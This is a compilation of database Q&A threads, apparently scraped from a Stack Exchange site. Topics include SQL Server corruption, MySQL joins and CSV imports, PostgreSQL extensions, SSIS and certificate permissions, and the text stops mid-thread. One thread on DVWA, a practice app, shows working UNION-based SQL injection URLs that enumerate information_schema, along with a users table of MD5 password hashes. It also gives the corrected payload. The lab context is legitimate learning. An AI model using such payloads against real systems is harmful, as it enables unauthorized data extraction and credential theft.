Corrupted mdf file causing the backup job to fail We have ran into a problem with one of our SQL server 2008 databases. It appears that something is corrupted in its datafile and this has caused our daily DB backup jobs to fail. The last successful backup copy taken was a month ago :(

Luckily the database is up and running  and the application is able to connect to it. The only problem is it doesn't allow the db to be backed up anymore.

When I try to take a backup it gives me "Read on e:\xxx\xyz.mdf file failed. reason 15105" error.
I have stopped SQL server service and tried to manually copy the mdf and ldf files but the system doesn't allow us to copy the mdf file. It gives a "Cannot read from the disk" error

I have ran the DBCC CHECKDB command to check the errors and below are the results

  1)    Unable to read and latch page (1:43515) with latch type SH.
  23(failed to retrieve text for this error. Reason: 15105) failed.

  2)    Object ID 567673070, index ID 1, partition ID 72057595461697536,
  alloc unit ID 72057595536211968 (type In-row data): Errors found in
  off-row data with ID 1788936192 owned by data record identified by RID
  = (1:44202:25)

I was thinking of running the DBCC command with REPAIR_ALLOW_DATA_LOSS but I am really scared of losing the data. If something terribly goes wrong we don't even have a recent backup copy to restore.
It is a huge risk for us to have a production DB without having the ability to back it up.

What would be the best way to repair the corrupted datafile without data being lost? do you recommend any third party tools?
Is there any other way that I can backup/take a copy of this database before starting to repair?

Given that you can connect to the database you may actually be in pretty good shape.  There are a number of methods you can use that might work but here is one.

Create a new database preferably on another disk because the possibility is that your disk is corrupt.
Use generate scripts to generate a script for your existing database.  Include all database objects and permissions.

Run the script on your new database to create all of the structures you need.
Either manually or through a tool (Import/Export Wizard for example) copy the data from each of the tables on your corrupt database into the new database.  Unfortunately this is the step most likely to have problems.  If you do have a problem it will hopefully be with only a few records and you can use the Import/Export Wizard to generate an SSIS package and change your error setting for that particular table to ignore failures.

Either way once you are done take a backup.  (Of course)


Force encryption flag doesn't save I'm trying to set the server to force encryption when I hit apply the message saying that it will take affect after restarting pops up, but when I open the box again its back to NO as nothing was.

Also my self signed trusted certificate is not in the list. I'm not sure if thats the same issue or not.

The problem is that I don't have the rights to write to the registry that causes the issue.

(It would be nice if sql would throw an error not just close the box without saving).

I found the registry key to edit here:
http://kushagrarakesh.blogspot.com/2011_10_01_archive.html


How to know if backup file is available before trying to restore I have a restore job, but i want to add a step before restore step to know if backup file available.so that it should go to restore step only if backup file available.Please let me know a query which i can use before restoration step

I've found an answer on SO that could help you:

Check for file exists or not in sql server?

Using this function:

CREATE FUNCTION dbo.fn_FileExists(@path varchar(512))
RETURNS BIT
AS
BEGIN
     DECLARE @result INT
     EXEC master.dbo.xp_fileexist @path, @result OUTPUT
     RETURN cast(@result as bit)
END;
GO

You could check if the backup file exists before to restore it.


SQL Server hangs on index rebuild, works well after SQL service restart We have a SQL Server 2014 enterprise cluster. Server 1 and Server 2.
SQL Server is limited to 64GB of memory.

We are using Ola Hallengren scripts for index rebuilding and optimizations once per week for all our databases.

Every time script triggers, it sometimes hangs on the same index

ALTER INDEX [SecretId] ON [someDB].[dbo].[Articles] REBUILD WITH (SORT_IN_TEMPDB = OFF, ONLINE = ON)

This is unique identifier field in the database. Table has approx 1.5 mil records.

When index rebuild hangs, we do a failover to another SQL server, restart service on first one, and failover back to instance one. After that, we re-run scripts for index rebuilding, and it passes well in a matter of minutes.

Why do we need to restart service in order to rebuild index successfully?

I've come across this issue recently. In my case, Paul Williams' comment was spot on and it's to do with a complex nvarchar(max) column I had that stores JSON and HTML:

Is this a table with a large varbinary or nvarchar(max) column?  I've seen unusual maintenance behaviors with these kinds tables.

I use the following query to narrow it down to the offending table, which is a slight variation to Ola's script at https://ola.hallengren.com/scripts/misc/CommandLogSelect.sql
The index with a null EndTime is where the crash is occurring, most likely in the last row returned.
use [master];
SELECT DatabaseName,
       SchemaName,
       ObjectName,
       CASE WHEN ObjectType = 'U' THEN 'USER_TABLE' WHEN ObjectType = 'V' THEN 'VIEW' END AS ObjectType,
       IndexName,
       CASE WHEN IndexType = 1 THEN 'CLUSTERED' WHEN IndexType = 2 THEN 'NONCLUSTERED' WHEN IndexType = 3 THEN 'XML' WHEN IndexType = 4 THEN 'SPATIAL' END AS IndexType,
       PartitionNumber,
       ExtendedInfo.value('(ExtendedInfo/PageCount)[1]','int') AS [PageCount],
       ExtendedInfo.value('(ExtendedInfo/Fragmentation)[1]','float') AS Fragmentation,
       CommandType,
       Command,
       StartTime,
       EndTime,
       DATEDIFF(ss,StartTime, (CASE WHEN EndTime IS NULL THEN StartTime ELSE EndTime END)) AS Duration,
       ErrorNumber,
       ErrorMessage
FROM dbo.CommandLog
WHERE CommandType = 'ALTER_INDEX'
ORDER BY StartTime ASC;


Should a ledger DB store a separate line for each side of a transaction? I'm working on a database that needs to do manage transfers between several accounts.  We are considering using a simple ledger system for this (like what you find in Quicken).

I have two concerns with how to design the system:

Tracking the related transactions, for this I considered using a single LedgerEntry for both sides of a transaction
Keeping the totals easy to calculate, for this I want to use a separate LedgerEntry for both sides of a transaction

Here's a fiddle w/ both options and their problems.

If you decide to keep a single entry for both sides of a transaction, then by definition you are engaging in single-entry bookkeeping. This may be the most appropriate solution for some simple applications, but be clear that you are losing all the functional and robustness advantages of double-entry bookkeeping, in exchange for a simpler design.

Note that when viewed stand-alone Subledgers (though not their corresponding Journals) are often implemented as single-entry, since a control-account in the General Ledger captures the subledger total and the balancing side of the transactions are in the General Journal (GJ) and General Ledger (GL).

You also appear to be confusing the distinct concepts of Ledger and Journal in traditional double-entry bookkeeping. The various Journals (of which there will be numerous specialized varieties for specific common transactions of the business in addition to the General Journal) is a chronological history of all transactions entered into the system. The General Ledger is an ordering by account of all transactions entered into the system, and the various subledgers are an ordering by subledger-code of all transactions entered into the corresponding Journal.

Two examples of common Ledger and Journal combinations:

the General Journal and General Ledger are an aggregated summary of
all transactions used for generating Trial Balances and the Financial
Statements.
The Account Receivable subledger receives entries from the Invoicing Journal (debits to AR by Customer Number) and the Cash Receipts Journal (credits to AR by Customer Number).

Note that while both sides of every transaction will balance in toto, in general it is not required for the two sides of a transaction to be the same number of lines with the same values. For instance a simple Retail Sales transaction (in most jurisdictions) will look something like this:

Dr Accounts Receivable Customer #xxxx     $X,XXX.XX
Cr Revenue                                           $Z,ZZZ.ZZ
Cr Sales Tax Payable                                 $  YYY.YY
-----------------------------------------------------------------
Totals                                    $X,XXX.XX  $X,XXX.XX

A manufacturing Sales transaction (at the simplest level) will start like this:

Dr Accounts Receivable Customer #xxxx     $X,XXX.XX
Cr Revenue                                           $Z,ZZZ.ZZ
Cr Sales Tax Payable                                 $  YYY.YY
Dr Cost of Sales                          $U,UUU.UU
Cr Finished Goods Inventory                          $U,UUU.UU
-----------------------------------------------------------------
Totals                                    $W,WWW.WW  $W,WWW.WW

A Bond Purchase transaction will have to handle the Discount(Premium) on Face Value as either a Credit or a Debit depending on whether interest rates have risen or fallen since the bond was issued, so you won't even know in advance which side of the ledger your single-entry is on.

Once you decide to engage in single-entry bookkeeping you lose all ability to handle these transactions, which as seen here are by no means either rare or complicated.


Not able to make a query that give me the result that I want in MySQL with 4 tables junction I need help to adjust my query to be able to have the result show in bottom.

This is my DB illustration:

And this is the command  CREATE TABLE for each table:

CREATE TABLE `produits` (
  `sku` varchar(50) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `description` text CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO `produits` (`sku`, `description`) VALUES
('1', 'Produit 1'),
('2', 'Produit 2'),
('3', 'Produit 3');

CREATE TABLE `produitssite` (
   `pssku` varchar(50) COLLATE utf8_unicode_ci NOT NULL,
   `psloc` varchar(250) COLLATE utf8_unicode_ci NOT NULL,
   `psabcd` varchar(10) COLLATE utf8_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `produitssite` (`pssku`, `psloc`, `psabcd`) VALUES
('1', 'A', 'd'),
('1', 'B', 'd'),
('2', 'A', 'c'),
('3', 'A', 'b'),
('4', 'C', 'd');

CREATE TABLE `stocksminmax` (
  `smmsku` varchar(250) CHARACTER SET latin1 NOT NULL,
  `smmloc` varchar(250) CHARACTER SET latin1 NOT NULL,
  `smmphy` float(20,2) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `stocksminmax` (`smmsku`, `smmloc`, `smmphy`) VALUES
('1', 'A', 10.00),
('1', 'B', 20.00),
('2', 'A', 20.00),
('3', 'B', 5.00),
('4', 'B', 10.00);

CREATE TABLE `ventes` (
  `ventesku` varchar(50) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `ventelocalisation` varchar(250) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `vente1805` double DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `ventes` (`ventesku`, `ventelocalisation`, `vente1805`) VALUES
('1', 'A', 500),
('1', 'B', 250),
('2', 'B', 600),
('3', 'A', 400),
('4', 'A', 100);

Here are the three requests that I try to obtain in 1:

SELECT * FROM produits RIGHT JOIN stocksminmax ON sku = smmsku

SELECT * FROM produits RIGHT JOIN produitssite ON sku = pssku

SELECT * FROM produits RIGHT JOIN ventes ON sku = ventesku

But I also try to JOIN the location on each table in my request : smmloc, psloc and venteloc

This is what I try to obtain:

Thanks for your help.

What you really want to be able to do is join the three tables with both a SKU and a location using a FULL JOIN; this joins rows where the indicated columns match, and also includes rows from both tables where the indicated fields do not match.

Unfortunately, MySQL 5.6 doesn't implement FULL JOIN. The standard workaround is to do something like this:

SELECT *
  FROM table1 t1
         LEFT  JOIN table 2 t2 ON t1.id = t2.id
UNION ALL
SELECT *
  FROM table1 t1
         RIGHT JOIN table 2 t2 ON t1.id = t2.id
 WHERE t1.id IS NULL
;

This gives you the results of the LEFT JOIN of the tables, and then unions in the results of the RIGHT JOIN of the tables, excluding the rows that would have been in the LEFT JOIN results.

The exclusion deals with the fact that both the LEFT JOIN and the RIGHT JOIN will return whatever rows an INNER JOIN would return. We want those rows - but we don't want to include each of them twice!

So, I built this query in three steps:

First, I built the query to return the rows from ventes and produitssite.
Then, I used that query as a subquery (identified as s1, for "step 1"), and joined its results to stocksminmax.
Finally, I used the second query as a subquery (identified as s2, for "step 2"), and LEFT JOINed those results to produits. For this final step, since it looks like you don't want to list and products that don't have a match in at least one of the three other tables, we don't have to do both a LEFT JOIN and a RIGHT JOIN.

Here's the query I got:

SELECT `sku`,`description`
      ,`smmsku`,`smmloc`,`smmphy`
      ,`pssku`,`psloc`,`psabcd`
      ,`ventesku`,`ventelocalisation`,`vente1805`
  FROM (
        SELECT `theSku`
              ,`theLoc`
              ,`smmsku`,`smmloc`,`smmphy`
              ,`pssku`,`psloc`,`psabcd`
              ,`ventesku`,`ventelocalisation`,`vente1805`
          FROM (SELECT `pssku` as theSku
                      ,`psloc` as theLoc
                      ,`pssku`,`psloc`,`psabcd`
                      ,`ventesku`,`ventelocalisation`,`vente1805`
                  FROM produitssite ps
                         LEFT  JOIN ventes v ON ps.pssku = v.ventesku
                                            AND ps.psloc = v.ventelocalisation
                UNION ALL
                SELECT `ventesku` as theSku
                      ,`ventelocalisation` as theLoc
                      ,`pssku`,`psloc`,`psabcd`
                      ,`ventesku`,`ventelocalisation`,`vente1805`
                  FROM produitssite ps
                         RIGHT JOIN ventes v ON ps.pssku = v.ventesku
                                            AND ps.psloc = v.ventelocalisation
                 WHERE ps.pssku IS NULL
               ) s1
                 LEFT  JOIN stocksminmax smm ON s1.theSku = smm.smmsku
                                            AND s1.theLoc = smm.smmloc
        UNION ALL
        SELECT `smmsku` as theSku
              ,`smmloc` as theLoc
              ,`smmsku`,`smmloc`,`smmphy`
              ,`pssku`,`psloc`,`psabcd`
                ,`ventesku`,`ventelocalisation`,`vente1805`
          FROM (SELECT `pssku` as theSku
                      ,`psloc` as theLoc
                      ,`pssku`,`psloc`,`psabcd`
                      ,`ventesku`,`ventelocalisation`,`vente1805`
                  FROM produitssite ps
                         LEFT  JOIN ventes v ON ps.pssku = v.ventesku
                                            AND ps.psloc = v.ventelocalisation
                UNION ALL
                SELECT `ventesku` as theSku
                      ,`ventelocalisation` as theLoc
                      ,`pssku`,`psloc`,`psabcd`
                      ,`ventesku`,`ventelocalisation`,`vente1805`
                  FROM produitssite ps
                         RIGHT JOIN ventes v ON ps.pssku = v.ventesku
                                            AND ps.psloc = v.ventelocalisation
                 WHERE ps.pssku IS NULL
               ) s1
                 RIGHT JOIN stocksminmax smm ON s1.theSku = smm.smmsku
                                            AND s1.theLoc = smm.smmloc
         WHERE s1.theSku IS NULL
       ) s2
         LEFT  JOIN produits p ON s2.theSku = p.sku
;

I believe the results match what you expected - you can see them (and the query, working) in this db-fiddle.


Couldn't open extension control file plpython3u.control : No such file or directory I want to have python3 in my postgresql database for writing stored procedures.

Being in the psql client, when I enter the command create extension plpython3u I get the error:

couldn't open extension control file /usr/share/postgresql/9.1/extension/plpython3u.control : No such file or directory

I have checked, there are plpythonu.control and plpython2u.control in the directory, but not the one for version 3.

However I have installed the packages python3 and python3-postgresql (among others) from depot. I'm using Ubuntu 12.04, kernel 3.2.0.38, with postgresql 9.1 installed.

What should I install (or do) to have the plpython3u.control file on my machine and have python3 available in my database?

The package to install is postgresql-plpython3.

By way of dependencies, this will install postgresql-plpython3-9.1, which provides these files:

$ dpkg -L postgresql-plpython3-9.1
/.
/usr
/usr/share
/usr/share/doc
/usr/share/doc/postgresql-plpython3-9.1
/usr/share/doc/postgresql-plpython3-9.1/copyright
/usr/share/postgresql
/usr/share/postgresql/9.1
/usr/share/postgresql/9.1/extension
/usr/share/postgresql/9.1/extension/plpython3u--1.0.sql
/usr/share/postgresql/9.1/extension/plpython3u.control
/usr/share/postgresql/9.1/extension/plpython3u--unpackaged--1.0.sql
/usr/lib
/usr/lib/postgresql
/usr/lib/postgresql/9.1
/usr/lib/postgresql/9.1/lib
/usr/lib/postgresql/9.1/lib/plpython3.so
/usr/share/doc/postgresql-plpython3-9.1/changelog.Debian.gz

and then you can do:

postgres=# create extension plpython3u;
CREATE EXTENSION


DVWA SQLi: How to get column names from table “users” only? You can find the original question here. However it has been closed almost immediately by schroeder with the following justification.

  This is a pure SQL question, not a security question. You are
  literally asking for all column names in the database ...

I hope this is the right channel then.

This is DVWA database. There are only 2 tables in it.

mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
2 rows in set (0.00 sec)

mysql>

I've no issue getting these 2 tables via SQL injection bug

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema=DATABASE() -- -&Submit=Submit#

Output in web (TABLE_NAME in "dvwa" DATABASE)

First name: guestbook,users

Table "users" looks interesting and would like to know all columns in it.

There are 6 columns as shown in MySQL query below.

mysql> SELECT * FROM users;
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| user_id | first_name | last_name | user    | password                         | avatar                                                |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg   |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg    |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
5 rows in set (0.00 sec)

mysql>

However, my next attempt to get only columns from table users didn't work well.

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE() -- -&Submit=Submit#

Output in web

First name: comment_id,comment,name,user_id,first_name,last_name,user,password,avatar

The problem is columns comment_id,comment,name are not part of users table.

What's wrong in this SQLi syntax and how do I get only column names from table users only.

DESIRED OUTPUT

First name: user_id,first_name,last_name,user,password,avatar

This query select column_name from database information_schema, specifically in table columns where the database name is the one selected by the programmer which is also similar to function database()

UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE()

How it looks like on MySQL shell. Only column column_name in database information_schema, column TABLE_SCHEMA where did you get i from function DATABASE() will appear.

However, you did not see column TABLE_SCHEMA as you did not select it on the query.

mysql> SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE();
+-------------+
| column_name |
+-------------+
| comment_id  |
| comment     |
| name        |
| user_id     |
| first_name  |
| last_name   |
| user        |
| password    |
| avatar      |
+-------------+
9 rows in set (0.01 sec)

mysql>

This is the whole column in database information_schema, table columns WHERE table_name='users'. You should get the idea by now.

mysql> SELECT * FROM information_schema.columns WHERE table_name='users';
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | ORDINAL_POSITION | COLUMN_DEFAULT | IS_NULLABLE | DATA_TYPE | CHARACTER_MAXIMUM_LENGTH | CHARACTER_OCTET_LENGTH | NUMERIC_PRECISION | NUMERIC_SCALE | CHARACTER_SET_NAME | COLLATION_NAME    | COLUMN_TYPE | COLUMN_KEY | EXTRA          | PRIVILEGES                      | COLUMN_COMMENT |
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
| NULL          | dvwa         | users      | user_id     |                1 | 0              | NO          | int       |                     NULL |                   NULL |                10 |             0 | NULL               | NULL              | int(6)      | PRI        |                | select,insert,update,references |                |
| NULL          | dvwa         | users      | first_name  |                2 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                |
| NULL          | dvwa         | users      | last_name   |                3 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                |
| NULL          | dvwa         | users      | user        |                4 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                |
| NULL          | dvwa         | users      | password    |                5 | NULL           | YES         | varchar   |                       32 |                     32 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(32) |            |                | select,insert,update,references |                |
| NULL          | dvwa         | users      | avatar      |                6 | NULL           | YES         | varchar   |                       70 |                     70 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(70) |            |                | select,insert,update,references |                |
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
9 rows in set (0.01 sec)

mysql>

Look at columns such as TABLE_SCHEMA and COLUMN_NAME. These are the one you used in the previous query.

Also, there is TABLE_NAME in it so you can actually limit the output with where command.

To make it easier to understand, let's modify the SQL query again.

mysql> SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_schema=DATABASE();
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| dvwa         | guestbook  | comment_id  |
| dvwa         | guestbook  | comment     |
| dvwa         | guestbook  | name        |
| dvwa         | users      | user_id     |
| dvwa         | users      | first_name  |
| dvwa         | users      | last_name   |
| dvwa         | users      | user        |
| dvwa         | users      | password    |
| dvwa         | users      | avatar      |
+--------------+------------+-------------+
9 rows in set (0.01 sec)

mysql>

By now, you should understand why your query produced something out of users table.

Instead of querying the column_name from the current database (WHERE table_schema=DATABASE()), you should get it from the table you wanted which is users in this case.

mysql> SELECT column_name FROM information_schema.columns WHERE table_name='users';
+-------------+
| column_name |
+-------------+
| user_id     |
| first_name  |
| last_name   |
| user        |
| password    |
| avatar      |
| id          |
| username    |
| password    |
+-------------+
9 rows in set (0.01 sec)

mysql>

So the query from the web should looks like this

UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name='users'


Check which statistics were used in query optimization Is it possible to tell when statistics were last accessed by a query using T-SQL? I'm trying to ascertain what statistics are involved in a query, I know I can check the visual query plan but I wondered whether there was a table (or tables) with this information.

When using the original (70) cardinality estimation model, undocumented trace flags 9204 and 9292 can be used to show which statistics were loaded during query optimization, as detailed in my post How to Find the Statistics Used to Compile an Execution Plan.

You can also use undocumented trace flag 8666 as described by Fabiano Amorim in Statistics used in a cached query plan.

For the updated cardinality estimation model (120 and later), undocumented trace flag 2363 shows a lot of useful information, including which statistics were loaded.

New for SQL Server 2017, the statistics objects used to compile and optimize a query are included directly in the execution plan. See SQL Server 2017 Showplan enhancements by Pedro Lopes.


Why are CASE-expressions in the list documenting operator precedence? In the list here:
https://mariadb.com/kb/en/operator-precedence/
case-expressions are put at the same precedence level as BETWEEN, between the NOT operator and the comparison operators.
However, case-expressions always begin with CASE and end with END, and all subexpressions are also delimited by the CASE keywords. They're like parenthetical expressions, so I don't understand why case-expressions are on this list.
Is there an SQL expression that would be parsed differently if the case-expression precedence was set higher or lower?
To give an example, with 2 + 3 * 4, we get different results when parentheses are used in these 2 ways: 2 + (3 * 4) and (2 + 3) * 4. This question is about how it's impossible to do the same with CASE. One can't substitute the use of + for CASE and show 2 different uses of parentheses such that the result differs between them.
To compare with other RDBMSes, neither SQLite nor PostgreSQL include CASE in their operator precedence lists.

The documentation is like that because it's an accurate reflection of this part of the source code:
%left   OR_SYM OR2_SYM
%left   XOR
%left   AND_SYM AND_AND_SYM

%left   PREC_BELOW_NOT
%left   NOT_SYM

%left   BETWEEN_SYM CASE_SYM WHEN_SYM THEN_SYM ELSE
%left   '=' EQUAL_SYM GE '>' LE '<' NE IS LIKE SOUNDS_SYM REGEXP IN_SYM
%left   '|'
%left   '&'
%left   SHIFT_LEFT SHIFT_RIGHT
%left   '-' '+' ORACLE_CONCAT_SYM
%left   '*' '/' '%' DIV_SYM MOD_SYM
%left   '^'
%left   MYSQL_CONCAT_SYM
%left   NEG '~' NOT2_SYM BINARY

That's despite how the parser behaves. Despite how, for example, 1 + NOT 0 raises a syntax error for following an operator of high precedence with one of lower precedence, 1 + CASE WHEN 1 THEN 1 END doesn't raise a similar syntax error for the same reason. Any expression involving CASE treats it as an operator of the highest precedence.
I'm left wondering now why the source code is expressed like that despite it not behaving like that. Unfortunately, I lack knowledge of bison to make sense of this discrepancy without investing more time in this curiosity.


mysql variables are inconsistent Just started out with MySQL 5.5 on Ubuntu Server 14.04 and ran into a strange issue.

I always show the settings of the variables by typing mysql --help.
Just to get familiar with MySQL-Server I wanted to change local-infile to true. So I went to my.conf of MySQL and under mysqld I added local-infile = true.

After restarting MySQL-Server I typed again mysql --help getting:

local-infile                      FALSE

By changing the client and server port from 3306 to 3305 I checked if the output of mysql --help is just a list of default setting but it is not.
The list now showed that the server is listening on 3305.

So I went into mysql typing

SHOW GLOBAL VARIABLES LIKE 'local_infile'

getting following output

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile  | ON    |
+---------------+-------+
1 row in set (0.00 sec)

So why is the variable output inconsistent?

I hope this question is related to the database mysql and database administrators is the right place to ask this kind of question. I hope it is not directly related with Ubuntu. If so please bear with me.

client (mysql) and server (mysqld) are different applications with different parameters

"mysql"  =  your mysql-client 'mysql' ... and that FALSE is the client parameter
"/etc/init.d/mysql" =  name of the service that starts your mysql-server 'mysqld' that uses my.cfg for it's parameters


MySQL Error when importing CSV with empty fields I have CSV file with exported table, that has rows with fields that do not contain values. Columns are separated using "," and if fields have no values they look like that: ,,,,,, I tried to load data using following code:

LOAD DATA INFILE "C:/table.csv"
INTO TABLE target_table
FIELDS TERMINATED BY ','
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
IGNORE 1 ROWS

Columns in target table (to be loaded with data from this CSV file) are nullable, but server returns error:

"Incorrect integer value"

When I put NULL between commas in CSV file, server do not return any error. Is it possible to change some setting to have table loaded without changing the CSV file?

Something like this, checking every value for '', and inserting NULL instead, may help. Change a,b,c,d for the actual name and number of rows on the table:

$ cat /tmp/test.csv
test1, test2, test3, test4
,,,
1,2,3,4
,,,

mysql> LOAD DATA INFILE "/tmp/test.csv" INTO TABLE test.test
          FIELDS TERMINATED BY ','
          OPTIONALLY ENCLOSED BY '"'
          LINES TERMINATED BY '\n'
          IGNORE 1 ROWS
       (@a, @b, @c, @d)
       SET a = IF(@a = '', NULL, @a),
           b = IF(@b = '', NULL, @b),
           c = IF(@c = '', NULL, @c),
           d = IF(@d = '', NULL, @d);
Query OK, 3 rows affected (0.00 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0

mysql> SELECT * FROM test.test;
+------+------+------+------+
| a    | b    | c    | d    |
+------+------+------+------+
| NULL | NULL | NULL | NULL |
|    1 |    2 |    3 |    4 |
| NULL | NULL | NULL | NULL |
+------+------+------+------+
3 rows in set (0.00 sec)

Check the syntax for LOAD DATA for more details.


Error using an Execute SQL script to load a date variable in SSIS I'm trying to populate a variable using an Execute SQL task in SSIS.  The table structure is as follows:

CREATE TABLE BuildControl
(Id INT NOT NULL Identity, BuildDate Date,
     Country char(2), BuildStatus varchar(20),
     BuildStatusDate DateTime)

The SQL Statement is

SELECT TOP 1 ? = Id, ? = BuildDate
FROM BuildControl
WHERE BuildStatus IS NULL
ORDER BY Id

and it works fine if I remove the ? = BuildDate.  The parameter mapping tab looks like this:

The error I'm recieving is this:

SSIS package "WFG Statement Build.dtsx" starting.
Error: 0xC002F210 at Get Build Data, Execute SQL Task: Executing the query "SELECT TOP 1 ? = Id, ? = BuildDate
FROM BuildContr..." failed with the following error: "Error HRESULT E_FAIL has been returned from a call to a COM component.". Possible failure reasons: Problems with the query, "ResultSet" property not set correctly, parameters not set correctly, or connection not established correctly.
Task failed: Get Build Data
Warning: 0x80019002 at WFG Statement Build: SSIS Warning Code DTS_W_MAXIMUMERRORCOUNTREACHED.  The Execution method succeeded, but the number of errors raised (1) reached the maximum allowed (1); resulting in failure. This occurs when the number of errors reaches the number specified in MaximumErrorCount. Change the MaximumErrorCount or fix the errors.
SSIS package "WFG Statement Build.dtsx" finished: Failure.

I believe the problem is with the date output variable since when I remove it I don't have a problem.  Both the server and the version of SSIS I'm using are SQL Server 2008 R2.  The Connection Manager is an OLE DB connection using the Native OLE DB\SQL Server Native Client 10.0 provider.  I've tried changing the table structure to use a DateTime with no success, and tried DBDate and DBDateTime as Data Types in the Parameter Mapping page also with no success.

I'm completely baffled.  Thanks for any help!

Try mapping your result set, not parameters. The setting is similar; the Result Names are 0 and 1 and the ? = are not necessary in your select statement.

SELECT TOP 1 Id, BuildDate
FROM BuildControl
WHERE BuildStatus IS NULL
ORDER BY Id

Also, make sure your Result Set is set to Single row.


Why CONTROL permission on certificate to be able to use it? As per https://technet.microsoft.com/en-us/library/ms190499.aspx, to open a symmetric key that is encrypted by a certificate, a user needs the CONTROL permission on the certificate.

I tested this and indeed, nor VIEW DEFINITION, nor ALTER, nor REFERENCES suffice.

I wonder why. Moreover, I wonder how secure it is if everyone needs the CONTROL permission (just to be able to use it), and as a consequence, can easily grant this permission to everyone else (confirmed by own test).

(I also tried granting CONTROL and denying all the others, but I guess that this doesn't make much sense because CONTROLoverrides the others. Or so I suppose. Please correct me if I'm wrong.)

With security in SQL Server, one needs to be very watchful that permissions are not indirectly granted when not intended. Designing granular permissions for the SQL Server system must be a very meticulous task for Microsoft. Once created, the certificate can be altered, but only to drop the private key. View definition lets the user see the metadata, however when it comes to the private key this is not enough because it is encrypted by the database master key, which, in turn is encrypted by the service master key. Besides, the documentation states that "view definition does not imply access to the securable itself". References permission as well is not enough for a certificate, however, it is enough to use a symmetric key. The user of encryption needs control permissions.

There are several very good reasons why the other answer recommends designing stored procedures to read and write encrypted data using code signing. Anyone with the control permission on a certificate can back up the certificate and private key to the file system. By code signing, you don't need to grant control directly to any user as the additional permissions are made available by associating a certificate user with permissions with the procedure through code signing.  Also, anyone with control permissions can grant permissions on the securable to others, which could lead to some surreptitious activity. The db_owner role, db_securityadmin and the db_ddladmin role have CONTROL permissions on certificates automatically and the db_backupoperator role can back up the database.

Although it seems that you are asking about column encryption. Certificates with SQL Server are created in master and msdb for other purposes, such as Transparent Data Encryption and  backup encryption. Stolen certificates can be used to defeat these. So don't allow anyone in the roles mentioned above in master or msdb.


Parallelism with temp table but not table variable? The first query (inserts into table variable) takes twice as long as the second one. It does not use parallelism in the execution plan.

The second query (inserts into temp table) uses parallelism in its execution plan and is able to achieve the results in almost half the time.

I am trying to run this from a table function hence the need for the table variable as opposed to the temp table.

The execution plan is quite complex and I would prefer not to dive in that direction (yet). I am wondering if someone has an explanation or hypothesis of why the first SQL is not using parallelism, while the second is.

First:

DECLARE @TableVar as TABLE (
    [Date] [date] NULL,
    [B] [int] NULL,
    [C] [decimal](5, 3) NULL)

INSERT INTO
    @TableVar
SELECT
    [Date]        = CAST(LO.Dt as Date)
  , [B]           = DMC.[B]
  , [C]           = DMC.[C]
FROM
                 dbo.fnTblFunc1(@DateStart, @DateEnd) AS DMC
    INNER JOIN   dbo.fnTblFunc2(@DateStart, @DateEnd) AS LO ON DMC.Date = LO.Dt
OPTION (FORCE ORDER  )

Second:

CREATE TABLE #TempTbl(
    [Date] [date] NULL,
    [B] [int] NULL,
